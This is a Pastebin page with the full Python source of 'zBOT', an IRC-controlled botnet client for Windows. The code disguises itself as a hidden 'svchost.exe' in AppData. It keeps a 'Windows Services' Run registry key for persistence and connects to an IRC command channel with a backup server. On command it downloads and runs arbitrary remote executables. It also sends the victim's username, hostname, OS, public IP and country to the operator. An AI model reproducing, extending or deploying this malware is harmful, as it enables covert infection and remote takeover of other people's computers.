loldongs

zBOT Python IRC Bot (zbot.py)

Sep 28th, 2013
1,195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.73 KB | None | 0 0
  1. # zBOT IRC Bot
  2. # Version 1.0.0
  3. # Coded by BlackMan in Python 2.7.5
  4. # Download : http://sourceforge.net/projects/zbotirc/
  5. # File     : zbot.py
  6.  
  7. #IMPORTS
  8. import os
  9. import random
  10. import shutil
  11. import socket
  12. import sys
  13. import threading
  14. import time
  15. import urllib
  16. from _winreg import *
  17.  
  18. #CONFIG
  19. ircs         = 'irc.server.com'      #IRC Server
  20. ircp         = 6667                      #IRC Port
  21. ircc         = '#channel'                #IRC Channel
  22. ircs_backup  = 'irc.backup.com'      #Backup IRC Server
  23. ircp_backup  = 6667                      #Backup IRC Port
  24. ircc_backup  = '#grove'                  #Backup IRC Channel
  25. version      = '1.0.0'                   #zBOT Version
  26.  
  27. #GLOBALS
  28. irc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  29.  
  30. #EXECUTE COMMAND
  31. def command(cmd): os.popen(cmd)
  32.            
  33. #DOWNLOAD / EXECUTE
  34. class download(threading.Thread):
  35.     def __init__(self, url):
  36.         self.url = url
  37.         threading.Thread.__init__(self)
  38.     def run(self):
  39.         try:
  40.             if getType(self.url) == 'application/octet-stream':
  41.                 name = os.path.basename(self.url)
  42.                 temp = os.environ['TEMP']
  43.                 path = temp + '\\' + name
  44.                 urllib.urlretrieve(self.url, path)
  45.                 command(path)
  46.                 irc_msg('[DL] - DONE!')
  47.             else:
  48.                 pass
  49.         except:
  50.             irc_msg('[DL] - FAIL!')
  51.  
  52. #COUNTRY
  53. def getCountry():
  54.     if getIP() == 'Unknown IP':
  55.         return 'Unknown Country'
  56.     else:
  57.         try:
  58.             return urllib.urlopen('http://api.wipmania.com/' + getIP()).read()
  59.         except:
  60.             return 'Unknown Country'
  61.  
  62. #IP ADDRESS
  63. def getIP():
  64.     try:
  65.         return urllib.urlopen('http://bot.whatismyipaddress.com/').read()
  66.     except:
  67.         return 'Unknown IP'
  68.  
  69. #RANDOM KEY
  70. def getKey(length): return str(random.randint(1000, 9999))
  71.  
  72. #OPERATING SYSTEM
  73. def getOS():
  74.     try:
  75.         version = os.sys.getwindowsversion()
  76.         key     = version[3], version[0], version[1]
  77.         windows = {
  78.         (1, 4, 0): 'Windows 95',
  79.         (1, 4, 10): 'Windows 98',
  80.         (1, 4, 90): 'Windows ME',
  81.         (2, 4, 0): 'Windows NT',
  82.         (2, 5, 0): 'Windows 2000',
  83.         (2, 5, 1): 'Windows XP',
  84.         (2, 5, 2): 'Windows 2003',
  85.         (2, 6, 0): 'Windows Vista',
  86.         (2, 6, 1): 'Windows 7',
  87.         (2, 6, 2): 'Windows 8'
  88.         }
  89.         if windows.has_key(key):
  90.             return windows[key]
  91.         else:
  92.             return 'Unknown OS'
  93.     except:
  94.         return 'Unknown OS'
  95.  
  96. #GET FILE TYPE
  97. def getType(url):
  98.     try:
  99.         return urllib.urlopen(url).info()['Content-Type']
  100.     except:
  101.         return 'Unknown Type'
  102.  
  103. #CONNECT
  104. def irc_connect(server, port, channel, nick):
  105.     irc.connect((server, port))
  106.     time.sleep(3)
  107.     irc_raw('NICK ' + nick)
  108.     time.sleep(3)
  109.     irc_raw('USER ' + nick + ' ' + getKey(4) +  ' ' + server + ' :' + getKey(4))
  110.     time.sleep(3)
  111.     irc_raw('JOIN ' + channel)
  112.  
  113. #MESSAGE
  114. def irc_msg(msg): irc_raw('PRIVMSG ' + ircc + ' : ' + msg)
  115.  
  116. #RAW
  117. def irc_raw(msg): irc.send(msg + '\r\n')
  118.  
  119. #MELT FILE
  120. def melt():
  121.     try:
  122.         dirAppData = os.getenv('APPDATA')
  123.         dirTemp    = os.getenv('TEMP')
  124.         fileName   = dirAppData + '\\svchost.exe'
  125.         selfName   = os.path.basename(sys.argv[0])
  126.         if sys.argv[0] == fileName:
  127.             startup().start()
  128.         else:
  129.             shutil.copy(sys.argv[0], fileName)
  130.             command('attrib +h +s +r ' + fileName)
  131.             command(fileName)
  132.             sys.exit()
  133.     except:
  134.         sys.exit()
  135.  
  136. #PERSISTENT REGISTRY STARTUP
  137. class startup(threading.Thread):
  138.     def __init__(self):
  139.         threading.Thread.__init__(self)
  140.     def run(self):
  141.         reg = ConnectRegistry(None, HKEY_CURRENT_USER)
  142.         key = OpenKey(reg, r'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
  143.         while True:
  144.             try:
  145.                 try:
  146.                     QueryValueEx(key, 'Windows Services')
  147.                 except:
  148.                     SetValueEx(key, 'Windows Services', 0, REG_SZ, sys.argv[0])
  149.                 time.sleep(3)
  150.             except:
  151.                 time.sleep(3)
  152.  
  153. #UNINSTALL
  154. def uninstall():
  155.     try:
  156.         dirTemp   = os.getenv('TEMP')
  157.         batchFile = open(dirTemp + '\\uninstall.bat', 'w')
  158.         batchFile.write('@echo off\n')
  159.         batchFile.write('ping 127.0.0.1 -n 6\n')
  160.         batchFile.write('del /F /Q ' + sys.argv[0] + '\n')
  161.         batchFile.write('del %0\n')
  162.         batchFile.write('exit')
  163.         batchFile.close()
  164.         try:
  165.             reg = ConnectRegistry(None, HKEY_CURRENT_USER)
  166.             key = OpenKey(reg, r'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
  167.             DeleteValue(key, 'Windows Services')
  168.         except:
  169.             pass
  170.         os.system(dirTemp + '\\uninstall.bat')
  171.         sys.exit()
  172.     except:
  173.         sys.exit()
  174.  
  175. #SETUP
  176. connected = False
  177. key       = getKey(4)
  178. nick      = '[zBOT]' + key
  179. infect    = True
  180.  
  181. #INFECTION
  182. if infect == True:
  183.     melt()
  184.     sys.exit()
  185. elif infect == False:
  186.     pass
  187.  
  188. #IRC CONNECT
  189. while connected == False:
  190.     try:
  191.         try:
  192.             irc_connect(ircs, ircp, ircc, nick)
  193.             connected = True
  194.         except:
  195.             irc_connect(ircs_backup, ircp_backup, ircc_backup, nick)
  196.             ircc = ircc_backup
  197.             connected = True
  198.     except:
  199.         time.sleep(300) #5 MINUTE DELAY
  200.  
  201. #COMMANDS
  202. while connected == True:
  203.     try:
  204.         data = irc.recv(4096)
  205.         data = data.strip('\n\r')
  206.         split = data.split()
  207.  
  208.         if data.find('PING') != -1:
  209.             irc_raw('PONG ' + split[1])
  210.  
  211.         if data.find ('PRIVMSG') != -1:
  212.             nick = data.split('!')[0].replace(':', '', 1)
  213.             host = data.split('@')[1].split(' ')[0]
  214.             msg  = ''.join(data.split(':', 2)[2:]).replace('\r\n', '')
  215.                            
  216.             if msg.startswith('.dl '):
  217.                 if msg.startswith('.dl all '):
  218.                     url = msg.replace('.dl all ', '', 1)
  219.                     download(url).start()
  220.                 elif msg.startswith('.dl ' + key + ' '):
  221.                     url = msg.replace('.dl ' + key + ' ', '', 1)
  222.                     download(url).start()
  223.  
  224.             elif msg == '.info':
  225.                 username = os.environ.get('USERNAME')
  226.                 hostname = os.environ.get('COMPUTERNAME')
  227.                 irc_msg('[INFO] - Version ' + version + ' - ' + username.lower() + '@' + hostname.lower() + ' - ' + getOS() + ' - ' + getIP() + ' - ' + getCountry())
  228.  
  229.             elif msg == '.kill ' + key:
  230.                 uninstall()
  231.  
  232.             elif msg == '.nuke':
  233.                 uninstall()
  234.     except:
  235.         pass
Add Comment
Please, Sign In to add comment